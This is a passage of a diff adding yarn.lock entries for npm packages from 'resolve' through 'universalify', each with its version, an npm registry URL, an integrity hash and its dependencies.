+  integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==
+
+resolve@^1.17.0, resolve@^1.19.0:
+  version "1.22.2"
+  resolved "https://registry.npmjs.org/resolve/-/resolve-1.22.2.tgz"
+  integrity sha512-Sb+mjNHOULsBv818T40qSPeRiuWLyaGMa5ewydRLFimneixmVy2zdivRl+AF6jaYPC8ERxGDmFSiqui6SfPd+g==
+  dependencies:
+    is-core-module "^2.11.0"
+    path-parse "^1.0.7"
+    supports-preserve-symlinks-flag "^1.0.0"
+
+resolve@^1.22.4:
+  version "1.22.8"
+  resolved "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz"
+  integrity sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==
+  dependencies:
+    is-core-module "^2.13.0"
+    path-parse "^1.0.7"
+    supports-preserve-symlinks-flag "^1.0.0"
+
+rfdc@^1.3.0:
+  version "1.3.1"
+  resolved "https://registry.npmjs.org/rfdc/-/rfdc-1.3.1.tgz"
+  integrity sha512-r5a3l5HzYlIC68TpmYKlxWjmOP6wiPJ1vWv2HeLhNsRZMrCkxeqxiHlQ21oXmQ4F3SiryXBHhAD7JZqvOJjFmg==
+
+rimraf@^2.5.4:
+  version "2.7.1"
+  resolved "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz"
+  integrity sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==
+  dependencies:
+    glob "^7.1.3"
+
+rimraf@^3.0.2:
+  version "3.0.2"
+  resolved "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz"
+  integrity sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==
+  dependencies:
+    glob "^7.1.3"
+
+rollup-plugin-terser@^7.0.2:
+  version "7.0.2"
+  resolved "https://registry.npmjs.org/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz"
+  integrity sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==
+  dependencies:
+    "@babel/code-frame" "^7.10.4"
+    jest-worker "^26.2.1"
+    serialize-javascript "^4.0.0"
+    terser "^5.0.0"
+
+rollup@^2.35.1:
+  version "2.79.1"
+  resolved "https://registry.npmjs.org/rollup/-/rollup-2.79.1.tgz"
+  integrity sha512-uKxbd0IhMZOhjAiD5oAFp7BqvkA4Dv47qpOCtaNvng4HBwdbWtdOh8f5nZNuk2rp51PMGk3bzfWu5oayNEuYnw==
+  optionalDependencies:
+    fsevents "~2.3.2"
+
+safe-array-concat@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.3.tgz"
+  integrity sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    get-intrinsic "^1.2.6"
+    has-symbols "^1.1.0"
+    isarray "^2.0.5"
+
+safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.2, safe-buffer@~5.2.0:
+  version "5.2.1"
+  resolved "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz"
+  integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
+
+safe-buffer@~5.1.0, safe-buffer@~5.1.1:
+  version "5.1.2"
+  resolved "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz"
+  integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
+
+safe-push-apply@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/safe-push-apply/-/safe-push-apply-1.0.0.tgz"
+  integrity sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==
+  dependencies:
+    es-errors "^1.3.0"
+    isarray "^2.0.5"
+
+safe-regex-test@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz"
+  integrity sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    is-regex "^1.2.1"
+
+"safer-buffer@>= 2.1.2 < 3", safer-buffer@^2.0.2, safer-buffer@^2.1.0, safer-buffer@~2.1.0:
+  version "2.1.2"
+  resolved "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz"
+  integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
+
+sauce-connect-launcher@^1.2.2:
+  version "1.3.2"
+  resolved "https://registry.npmjs.org/sauce-connect-launcher/-/sauce-connect-launcher-1.3.2.tgz"
+  integrity sha512-wf0coUlidJ7rmeClgVVBh6Kw55/yalZCY/Un5RgjSnTXRAeGqagnTsTYpZaqC4dCtrY4myuYpOAZXCdbO7lHfQ==
+  dependencies:
+    adm-zip "~0.4.3"
+    async "^2.1.2"
+    https-proxy-agent "^5.0.0"
+    lodash "^4.16.6"
+    rimraf "^2.5.4"
+
+saucelabs@^1.4.0:
+  version "1.5.0"
+  resolved "https://registry.npmjs.org/saucelabs/-/saucelabs-1.5.0.tgz"
+  integrity sha512-jlX3FGdWvYf4Q3LFfFWS1QvPg3IGCGWxIc8QBFdPTbpTJnt/v17FHXYVAn7C8sHf1yUXo2c7yIM0isDryfYtHQ==
+  dependencies:
+    https-proxy-agent "^2.2.1"
+
+semver@^6.3.1:
+  version "6.3.1"
+  resolved "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz"
+  integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==
+
+serialize-javascript@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz"
+  integrity sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==
+  dependencies:
+    randombytes "^2.1.0"
+
+set-function-length@^1.2.2:
+  version "1.2.2"
+  resolved "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz"
+  integrity sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==
+  dependencies:
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.4"
+    gopd "^1.0.1"
+    has-property-descriptors "^1.0.2"
+
+set-function-name@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz"
+  integrity sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==
+  dependencies:
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
+    functions-have-names "^1.2.3"
+    has-property-descriptors "^1.0.2"
+
+set-proto@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/set-proto/-/set-proto-1.0.0.tgz"
+  integrity sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==
+  dependencies:
+    dunder-proto "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+
+setprototypeof@1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz"
+  integrity sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==
+
+shebang-command@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz"
+  integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==
+  dependencies:
+    shebang-regex "^3.0.0"
+
+shebang-regex@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz"
+  integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==
+
+side-channel-list@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz"
+  integrity sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==
+  dependencies:
+    es-errors "^1.3.0"
+    object-inspect "^1.13.3"
+
+side-channel-map@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz"
+  integrity sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.5"
+    object-inspect "^1.13.3"
+
+side-channel-weakmap@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz"
+  integrity sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.5"
+    object-inspect "^1.13.3"
+    side-channel-map "^1.0.1"
+
+side-channel@^1.0.4, side-channel@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz"
+  integrity sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==
+  dependencies:
+    es-errors "^1.3.0"
+    object-inspect "^1.13.3"
+    side-channel-list "^1.0.0"
+    side-channel-map "^1.0.1"
+    side-channel-weakmap "^1.0.2"
+
+socket.io-adapter@~2.5.2:
+  version "2.5.5"
+  resolved "https://registry.npmjs.org/socket.io-adapter/-/socket.io-adapter-2.5.5.tgz"
+  integrity sha512-eLDQas5dzPgOWCk9GuuJC2lBqItuhKI4uxGgo9aIV7MYbk2h9Q6uULEh8WBzThoI7l+qU9Ast9fVUmkqPP9wYg==
+  dependencies:
+    debug "~4.3.4"
+    ws "~8.17.1"
+
+socket.io-parser@~4.2.4:
+  version "4.2.4"
+  resolved "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.2.4.tgz"
+  integrity sha512-/GbIKmo8ioc+NIWIhwdecY0ge+qVBSMdgxGygevmdHj24bsfgtCmcUUcQ5ZzcylGFHsN3k4HB4Cgkl96KVnuew==
+  dependencies:
+    "@socket.io/component-emitter" "~3.1.0"
+    debug "~4.3.1"
+
+socket.io@^4.7.2:
+  version "4.7.5"
+  resolved "https://registry.npmjs.org/socket.io/-/socket.io-4.7.5.tgz"
+  integrity sha512-DmeAkF6cwM9jSfmp6Dr/5/mfMwb5Z5qRrSXLpo3Fq5SqyU8CMF15jIN4ZhfSwu35ksM1qmHZDQ/DK5XTccSTvA==
+  dependencies:
+    accepts "~1.3.4"
+    base64id "~2.0.0"
+    cors "~2.8.5"
+    debug "~4.3.2"
+    engine.io "~6.5.2"
+    socket.io-adapter "~2.5.2"
+    socket.io-parser "~4.2.4"
+
+source-map-support@~0.5.20:
+  version "0.5.21"
+  resolved "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz"
+  integrity sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==
+  dependencies:
+    buffer-from "^1.0.0"
+    source-map "^0.6.0"
+
+source-map@^0.6.0, source-map@^0.6.1:
+  version "0.6.1"
+  resolved "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz"
+  integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==
+
+sourcemap-codec@^1.4.8:
+  version "1.4.8"
+  resolved "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz"
+  integrity sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==
+
+spark-md5@^3.0.1:
+  version "3.0.2"
+  resolved "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz"
+  integrity sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw==
+
+sshpk@^1.7.0:
+  version "1.17.0"
+  resolved "https://registry.npmjs.org/sshpk/-/sshpk-1.17.0.tgz"
+  integrity sha512-/9HIEs1ZXGhSPE8X6Ccm7Nam1z8KcoCqPdI7ecm1N33EzAetWahvQWVqLZtaZQ+IDKX4IyA2o0gBzqIMkAagHQ==
+  dependencies:
+    asn1 "~0.2.3"
+    assert-plus "^1.0.0"
+    bcrypt-pbkdf "^1.0.0"
+    dashdash "^1.12.0"
+    ecc-jsbn "~0.1.1"
+    getpass "^0.1.1"
+    jsbn "~0.1.0"
+    safer-buffer "^2.0.2"
+    tweetnacl "~0.14.0"
+
+statuses@2.0.1:
+  version "2.0.1"
+  resolved "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz"
+  integrity sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==
+
+statuses@~1.5.0:
+  version "1.5.0"
+  resolved "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz"
+  integrity sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==
+
+stop-iteration-iterator@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz"
+  integrity sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==
+  dependencies:
+    es-errors "^1.3.0"
+    internal-slot "^1.1.0"
+
+streamroller@^3.1.5:
+  version "3.1.5"
+  resolved "https://registry.npmjs.org/streamroller/-/streamroller-3.1.5.tgz"
+  integrity sha512-KFxaM7XT+irxvdqSP1LGLgNWbYN7ay5owZ3r/8t77p+EtSUAfUgtl7be3xtqtOmGUl9K9YPO2ca8133RlTjvKw==
+  dependencies:
+    date-format "^4.0.14"
+    debug "^4.3.4"
+    fs-extra "^8.1.0"
+
+string-width@^4.1.0, string-width@^4.2.0:
+  version "4.2.3"
+  resolved "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz"
+  integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
+  dependencies:
+    emoji-regex "^8.0.0"
+    is-fullwidth-code-point "^3.0.0"
+    strip-ansi "^6.0.1"
+
+string.prototype.trim@^1.2.10:
+  version "1.2.10"
+  resolved "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz"
+  integrity sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    define-data-property "^1.1.4"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-object-atoms "^1.0.0"
+    has-property-descriptors "^1.0.2"
+
+string.prototype.trimend@^1.0.9:
+  version "1.0.9"
+  resolved "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz"
+  integrity sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+
+string.prototype.trimstart@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz"
+  integrity sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+
+string_decoder@^1.1.1:
+  version "1.3.0"
+  resolved "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz"
+  integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==
+  dependencies:
+    safe-buffer "~5.2.0"
+
+string_decoder@~1.1.1:
+  version "1.1.1"
+  resolved "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz"
+  integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==
+  dependencies:
+    safe-buffer "~5.1.0"
+
+strip-ansi@^6.0.0, strip-ansi@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz"
+  integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
+  dependencies:
+    ansi-regex "^5.0.1"
+
+strip-bom@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz"
+  integrity sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==
+
+strip-json-comments@^3.1.1:
+  version "3.1.1"
+  resolved "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz"
+  integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==
+
+supports-color@^5.3.0:
+  version "5.5.0"
+  resolved "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz"
+  integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==
+  dependencies:
+    has-flag "^3.0.0"
+
+supports-color@^7.0.0, supports-color@^7.1.0:
+  version "7.2.0"
+  resolved "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz"
+  integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
+  dependencies:
+    has-flag "^4.0.0"
+
+supports-preserve-symlinks-flag@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz"
+  integrity sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==
+
+tar-stream@^2.1.0:
+  version "2.2.0"
+  resolved "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz"
+  integrity sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==
+  dependencies:
+    bl "^4.0.3"
+    end-of-stream "^1.4.1"
+    fs-constants "^1.0.0"
+    inherits "^2.0.3"
+    readable-stream "^3.1.1"
+
+terser@^5.0.0:
+  version "5.18.2"
+  resolved "https://registry.npmjs.org/terser/-/terser-5.18.2.tgz"
+  integrity sha512-Ah19JS86ypbJzTzvUCX7KOsEIhDaRONungA4aYBjEP3JZRf4ocuDzTg4QWZnPn9DEMiMYGJPiSOy7aykoCc70w==
+  dependencies:
+    "@jridgewell/source-map" "^0.3.3"
+    acorn "^8.8.2"
+    commander "^2.20.0"
+    source-map-support "~0.5.20"
+
+tiny-glob@0.2.9:
+  version "0.2.9"
+  resolved "https://registry.npmjs.org/tiny-glob/-/tiny-glob-0.2.9.tgz"
+  integrity sha512-g/55ssRPUjShh+xkfx9UPDXqhckHEsHr4Vd9zX55oSdGZc/MD0m3sferOkwWtp98bv+kcVfEHtRJgBVJzelrzg==
+  dependencies:
+    globalyzer "0.1.0"
+    globrex "^0.1.2"
+
+tmp@^0.2.1:
+  version "0.2.3"
+  resolved "https://registry.npmjs.org/tmp/-/tmp-0.2.3.tgz"
+  integrity sha512-nZD7m9iCPC5g0pYmcaxogYKggSfLsdxl8of3Q/oIbqCqLLIO9IAF0GWjX1z9NZRHPiXv8Wex4yDCaZsgEw0Y8w==
+
+to-regex-range@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz"
+  integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==
+  dependencies:
+    is-number "^7.0.0"
+
+toidentifier@1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz"
+  integrity sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==
+
+tough-cookie@~2.4.3:
+  version "2.4.3"
+  resolved "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz"
+  integrity sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==
+  dependencies:
+    psl "^1.1.24"
+    punycode "^1.4.1"
+
+trix@^2.0.0:
+  version "2.0.5"
+  resolved "https://registry.npmjs.org/trix/-/trix-2.0.5.tgz"
+  integrity sha512-OiCbDf17F7JahEwhyL1MvK9DxAAT1vkaW5sn+zpwfemZAcc4RfQB4ku18/1mKP58LRwBhjcy+6TBho7ciXz52Q==
+
+tsconfig-paths@^3.15.0:
+  version "3.15.0"
+  resolved "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz"
+  integrity sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==
+  dependencies:
+    "@types/json5" "^0.0.29"
+    json5 "^1.0.2"
+    minimist "^1.2.6"
+    strip-bom "^3.0.0"
+
+tunnel-agent@^0.6.0:
+  version "0.6.0"
+  resolved "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz"
+  integrity sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==
+  dependencies:
+    safe-buffer "^5.0.1"
+
+tweetnacl@^0.14.3, tweetnacl@~0.14.0:
+  version "0.14.5"
+  resolved "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz"
+  integrity sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==
+
+type-check@^0.4.0, type-check@~0.4.0:
+  version "0.4.0"
+  resolved "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz"
+  integrity sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==
+  dependencies:
+    prelude-ls "^1.2.1"
+
+type-is@~1.6.18:
+  version "1.6.18"
+  resolved "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz"
+  integrity sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==
+  dependencies:
+    media-typer "0.3.0"
+    mime-types "~2.1.24"
+
+typed-array-buffer@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz"
+  integrity sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-typed-array "^1.1.14"
+
+typed-array-byte-length@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz"
+  integrity sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==
+  dependencies:
+    call-bind "^1.0.8"
+    for-each "^0.3.3"
+    gopd "^1.2.0"
+    has-proto "^1.2.0"
+    is-typed-array "^1.1.14"
+
+typed-array-byte-offset@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz"
+  integrity sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==
+  dependencies:
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    for-each "^0.3.3"
+    gopd "^1.2.0"
+    has-proto "^1.2.0"
+    is-typed-array "^1.1.15"
+    reflect.getprototypeof "^1.0.9"
+
+typed-array-length@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.7.tgz"
+  integrity sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==
+  dependencies:
+    call-bind "^1.0.7"
+    for-each "^0.3.3"
+    gopd "^1.0.1"
+    is-typed-array "^1.1.13"
+    possible-typed-array-names "^1.0.0"
+    reflect.getprototypeof "^1.0.6"
+
+ua-parser-js@^0.7.30:
+  version "0.7.39"
+  resolved "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.39.tgz"
+  integrity sha512-IZ6acm6RhQHNibSt7+c09hhvsKy9WUr4DVbeq9U8o71qxyYtJpQeDxQnMrVqnIFMLcQjHO0I9wgfO2vIahht4w==
+
+unbox-primitive@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz"
+  integrity sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==
+  dependencies:
+    call-bound "^1.0.3"
+    has-bigints "^1.0.2"
+    has-symbols "^1.1.0"
+    which-boxed-primitive "^1.1.1"
+
+universalify@^0.1.0:
+  version "0.1.2"
+  resolved "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz"
+  integrity sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==
+
